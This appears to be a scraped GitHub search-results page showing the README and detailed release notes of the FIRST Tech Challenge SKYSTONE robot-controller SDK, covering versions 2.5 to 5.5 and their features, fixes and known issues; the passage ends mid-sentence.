Found 5,925 repositories(showing 30)
chrisneagu
NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The 